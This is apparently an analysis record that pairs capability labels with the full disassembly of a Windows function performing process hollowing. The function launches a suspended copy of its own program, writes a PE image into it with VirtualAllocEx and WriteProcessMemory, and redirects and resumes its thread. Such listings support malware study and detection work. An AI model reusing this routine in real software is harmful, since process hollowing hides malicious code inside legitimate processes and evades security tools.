Function at 0x14003f510
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Use process replacement

Disassembly:
push rdi
sub rsp, 0x530
mov rax, qword [0x140230a00]
xor rax, rsp
mov qword [rsp + 0x520], rax
lea rax, section..data
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp dword [rax], 0x4550
jne 0x14003f7ef
mov r8d, 0x104
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14003f7ef
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov dword [rax + 0x30], 0x10000b
mov qword [rsp + 0x88], 0
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14003f7ef
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
jmp 0x14003f6d3
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x68], rax
jae 0x14003f79d
mov rax, qword [rsp + 0x80]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
imul rcx, qword [rsp + 0x68], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x70]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x78]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x50]
add rax, 0x30
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14003f6c6
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140079bc0
add rsp, 0x530
pop rdi
ret